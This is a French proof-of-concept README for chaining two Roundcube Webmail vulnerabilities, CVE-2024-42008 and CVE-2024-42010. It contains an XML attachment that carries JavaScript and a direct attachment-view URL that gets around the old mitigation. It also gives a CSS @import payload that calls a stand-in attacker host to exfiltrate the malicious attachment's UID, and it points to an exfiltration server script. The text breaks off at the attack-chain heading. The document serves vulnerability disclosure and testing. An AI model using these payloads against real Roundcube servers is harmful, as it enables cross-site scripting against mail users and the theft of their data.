
PoC pour les vulnérabilités Roundcube CVE-2024-42008 et CVE-2024-42010
Cette preuve de concept (PoC) démontre l'exploitation de deux vulnérabilités dans Roundcube Webmail qui permettent une injection CSS et un cross-site scripting (XSS). L'attaque se compose de deux étapes :
XSS via pièce jointe XML malveillante (CVE-2024-42008)
En raison de contrôles insuffisants lors du téléversement de fichiers, un fichier XML peut être envoyé en pièce jointe avec du code JavaScript, par exemple :
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
Il s'agissait d'un problème connu, référencé sous l'identifiant CVE-2020-13965, et la contre-mesure consistait à désactiver l'option « Ouvrir la pièce jointe ». Mais le fichier peut toujours être consulté via l'endpoint
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
Où UID est l'identifiant unique de cette pièce jointe dans cette boîte aux lettres spécifique (c.-à-d. INBOX).

Exfiltration HTML via injection CSS (CVE-2024-42010)
Lors de l'envoi d'un e-mail, il est possible d'injecter votre propre fichier CSS, lorsqu'il est hébergé sur un domaine commençant par a. Grâce à cela et à un fichier serveur JavaScript qui traite les requêtes effectuées par l'hôte Roundcube vulnérable, il est possible d'extraire l'UID de la pièce jointe XSS malveillante.
Importez le CSS dans un e-mail envoyé avec
<style>
@import "//a.attackerdomain.com/start?"
</style>
Hébergez le serveur JS (roundcube-css-exploit.js) qui exfiltre l'UID de la pièce jointe malveillante

Chaîne d'attaque